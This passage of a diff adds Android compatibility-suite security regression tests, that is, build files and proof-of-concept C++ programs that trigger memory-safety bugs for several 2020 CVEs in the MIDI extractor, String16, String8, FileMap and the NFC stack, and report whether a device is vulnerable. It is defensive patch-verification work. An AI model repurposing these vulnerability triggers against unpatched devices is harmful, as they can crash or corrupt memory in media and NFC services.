+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0384",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0385",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
new file mode 100644
index 0000000..cc2692f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0408",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+ android::String16 str{u"hello world"};
+ android::String16 substr{u"hello"};
+ const size_t begin = substr.size();
+ const size_t len = std::numeric_limits<size_t>::max();
+ if (str.remove(len, begin) != android::OK) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp16(str, substr) != 0) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
new file mode 100644
index 0000000..274e24d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0409",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ "libbase",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
new file mode 100644
index 0000000..085eb41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "android-base/file.h"
+#include "utils/FileMap.h"
+
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
+
+int main() {
+ TemporaryFile tf;
+ android::FileMap fm;
+ fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
new file mode 100644
index 0000000..b4aee1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0421",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+ if (!strcmp(format, VULNERABLE_STRING)) {
+ return -1;
+ }
+ return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+ fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+ if (!fptr) {
+ return EXIT_FAILURE;
+ }
+ android::String8 str1{VULNERABLE_STRING};
+ str1.appendFormat(VULNERABLE_STRING);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
new file mode 100644
index 0000000..70c3eed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0450",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..268153b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <stdlib.h>
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+void *kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
+ uint16_t block_number, uint8_t *p_data) = nullptr;
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_rw_i93_send_cmd_write_single_block =
+ (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
+ RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+ if (!real_rw_i93_send_cmd_write_single_block) {
+ return;
+ }
+
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ void *ptr = nullptr;
+ if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+ ptr = malloc(size);
+ memset(ptr, DEFAULT_VALUE, size);
+ kVulnPtr = ptr;
+ kVulnSize = size;
+ } else {
+ ptr = real_GKI_getbuf(size);
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kVulnPtr) {
+ free(ptr);
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
+ uint8_t *p_data) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (p_data == kVulnPtr) {
+ for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+ if (p_data[n] == DEFAULT_VALUE) {
+ kIsVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->block_size = 7;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..066b530
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,39 @@
+/*
